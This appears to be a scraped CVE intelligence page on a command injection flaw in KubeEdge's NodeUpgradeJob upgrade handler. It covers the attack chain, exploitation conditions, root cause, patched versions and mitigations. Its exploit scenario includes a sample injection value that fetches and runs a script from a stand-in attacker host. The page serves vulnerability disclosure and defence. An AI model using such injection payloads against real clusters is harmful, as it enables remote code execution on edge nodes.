Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain RBAC to create/update NodeUpgradeJob
-
DeliveryCraft spec.version/spec.image with shell metacharacters
-
Exploitkeadm command concatenation on edge node
-
ExecutionArbitrary OS commands run at upgrade privileges
-
ImpactFull edge node compromise (C/I/A)
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires an authenticated principal holding Kubernetes/KubeEdge RBAC permission to create or update v1alpha2 NodeUpgradeJob resources, and a deployment that uses the taskmanager node-upgrade workflow against edge nodes running affected versions (1.12.0 through 1.21.1 / 1.22.1 / 1.23.0). The attacker supplies shell metacharacters in the spec.version or (optional) spec.image field; the pre-patch code lacked ValidateVersion/ValidateImageRepo checks, so any value is accepted. Limiting factors: exploitation is gated on holding the NodeUpgradeJob create/update privilege (PR:L, not anonymous) and on the cluster actually operating the upgrade task path; it is not exploitable against a cluster that does not grant this RBAC or does not process NodeUpgradeJobs. |
| Impact | This is a genuine high-priority finding, not a CVSS-inflated one. The vendor CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8) is well-supported by the confirmed source-code evidence: the fix commit (552af457) shows edge/pkg/taskmanager/actions/nodeupgradejob.go building |
| Exploit ScenarioDerived | An attacker who has obtained (or been granted) Kubernetes RBAC permission to create or update KubeEdge NodeUpgradeJob resources submits a job whose spec.version or spec.image field embeds shell metacharacters (e.g. '; curl attacker/x | sh #'). When the edge node's taskmanager processes the upgrade, the payload is concatenated into the keadm shell command and executed on the targeted edge node with the upgrade process's privileges. No public exploit code is identified in the provided data, but the concatenation flaw is confirmed by the vendor fix diff, making a working exploit straightforward to develop. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 21, 2026
Shell command injection in KubeEdge's v1alpha2 NodeUpgradeJob upgrade workflow allows an authenticated user who holds RBAC permission to create or update NodeUpgradeJob resources to run arbitrary commands on targeted edge nodes with the privileges of the edge upgrade process. Affected deployments are those running KubeEdge 1.12.0 through 1.21.1, 1.22.0/1.22.1, or 1.23.0 that actually process node-upgrade tasks; the vulnerability is high-priority and genuine rather than a CVSS-inflated finding, but it is gated on the NodeUpgradeJob create/update privilege (PR:L, not anonymous) so it is not reachable by unauthenticated users or on clusters that do not grant that permission. No public exploit code and no confirmed active exploitation were identified at time of analysis; EPSS/KEV data were not supplied for this CVE. Vendor-released patches exist in 1.21.2, 1.22.2, and 1.23.1.
RemediationAI
Apply the vendor-released patches: upgrade to KubeEdge 1.21.2, 1.22.2, or 1.23.1 (matching your 1.21/1.22/1.23 release line) per the release pages https://github.com/kubeedge/kubeedge/releases/tag/v1.21.2, https://github.com/kubeedge/kubeedge/releases/tag/v1.22.2, and https://github.com/kubeedge/kubeedge/releases/tag/v1.23.1, and see the advisory at https://github.com/kubeedge/kubeedge/security/advisories/GHSA-5jpj-293f-rhvj for details. If you cannot patch immediately, the most effective compensating control is to tighten Kubernetes/KubeEdge RBAC so that only tightly scoped, trusted principals can create or update operations.kubeedge.io v1alpha2 NodeUpgradeJob resources; the trade-off is that legitimate upgrade automation must be re-authorized under a dedicated service account, and any principal still holding that permission remains able to trigger command execution on edge nodes. As a secondary measure, deploy the patched admission controller (which rejects invalid version and image repo values via ValidateVersion/ValidateImageRepo) if you can run cloud-side components independently, and audit existing NodeUpgradeJob objects and edge logs (/tmp/keadm.log) for suspicious metacharacters in spec.version or spec.image; note that the admission control is bypassable if an attacker can act through a path that does not traverse the webhook. Disabling the node-upgrade feature entirely removes exposure but blocks legitimate remote edge upgrades, and blocking the underlying privilege alone does not protect clusters where weaker validation is still deployed. Audit any NodeUpgradeJob created or modified by non-administrative users prior to patching, since exploitation may already have occurred.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 4 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The flaw is a classic OS command injection (CWE-78) in Go code. Prior to the fix, the v1alpha2 NodeUpgradeJob handler in edge/pkg/taskmanager/actions/nodeupgradejob.go built the upgrade command with a strings.Builder, concatenating the user-controlled spec.version and optional spec.image values directly into a shell string of the form 'keadm upgrade edge --force --toVersion <version> [--image <image>] >> /tmp/keadm.log 2>&1', which was then executed through execs.NewCommand and therefore interpreted by a shell. Because no validation was applied, shell metacharacters in either field (for example to append ';', '&&', pipes, or command substitution) broke out of the intended keadm invocation and ran attacker-supplied commands on the edge node with the privileges of the upgrade process, impacting node confidentiality, integrity, and availability. The upstream fix (commits 552af457a4c7ce80ea1678ab5889f475b36ea103, 657b745bebcdd7a221eb34c0aac13231ef12c37f, b72db7f8a0f7be23261b4349eab33024b2007df0, PRs 7028-7030) does two things: it replaces the shell string with exec.Command("keadm", args...) using an argument slice built by buildNodeUpgradeJobCommandArgs, which removes shell interpretation entirely, and it adds validation.ValidateVersion / validation.ValidateImageRepo checks both in the edge task handler and in the cloud-side admission controller (cloud/pkg/admissioncontroller/admit_nodeupgradejob.go), the latter replacing the older, weaker checks that only required a leading 'v' and semver parsability. Defenses are therefore layered: argument-based process execution plus strict version/image format validation at admission and at task execution. No CPE strings were provided in the intelligence feed, so affected scope is derived from the vendor version ranges.
Know when Kubeedge gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Network-reachable API, low complexity, requires RBAC to create NodeUpgradeJob (PR:L), no UI; arbitrary OS commands at upgrade privilege give full C/I/A; scope kept U to match vendor though cloud-RBAC-to-edge-OS execution arguably justifies S:C.
Primary rating from Vendor (github).
CVSS VectorVendor: github
Lifecycle Timeline
2DescriptionCVE.org
KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at Edge. From 1.12.0 until 1.21.2, 1.22.2, and 1.23.1, the v1alpha2 NodeUpgradeJob handler in edge/pkg/taskmanager/actions/nodeupgradejob.go concatenates authenticated user-controlled spec.version and spec.image values into the keadm upgrade edge shell command. A user with permission to create or update NodeUpgradeJob resources can supply shell metacharacters in either field, causing arbitrary commands to execute on targeted edge nodes with the privileges of the upgrade process and compromising node confidentiality, integrity, and availability. This issue is fixed in versions 1.21.2, 1.22.2, and 1.23.1.
Technical POC Analysis
No runnable PoC was present in the supplied evidence, and no patch diff or commit hash is visible.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
KubeEdge clusters running versions 1.12.0 through 1.23.0 that process node-upgrade tasks let any user holding create/update rights on NodeUpgradeJob resources execute arbitrary commands on targeted edge nodes with the privileges of the edge upgrade process, effectively handing over control of edge infrastructure to an authenticated insider or a compromised service account. The precondition is a specific RBAC permission rather than anonymous access, so exposure is limited to clusters that grant it - but in those environments the blast radius spans the entire managed edge fleet, which typically sits outside data-center security monitoring. Leadership should care because edge nodes often host physical-world operations and are the hardest assets to detect, contain, and rebuild after compromise.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Unauthenticated integrity manipulation in KubeEdge CloudCore through 1.23.1 allows any network-reachable attacker to sub
KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at
KubeEdge is built upon Kubernetes and extends native containerized application orchestration and device management to ho
Authenticated command injection in KubeEdge (1.21.0 up to 1.21.2, 1.22.2, and 1.23.1) lets a principal holding Kubernete
KubeEdge keadm releases from 1.16.0 before 1.21.2, 1.22.2, and 1.23.1 contain a path traversal in DecompressTarGz that,
Memory exhaustion in KubeEdge CloudHub (versions 1.0.0 through 1.21.1, 1.22.0 through 1.22.1, and 1.23.0) allows an auth
KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at
KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at
KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at
KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at
KubeEdge is an open source system for extending native containerized application orchestration capabilities to hosts at
KubeEdge is built upon Kubernetes and extends native containerized application orchestration and device management to ho
EUVD-2026-84003
GHSA-5jpj-293f-rhvj
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB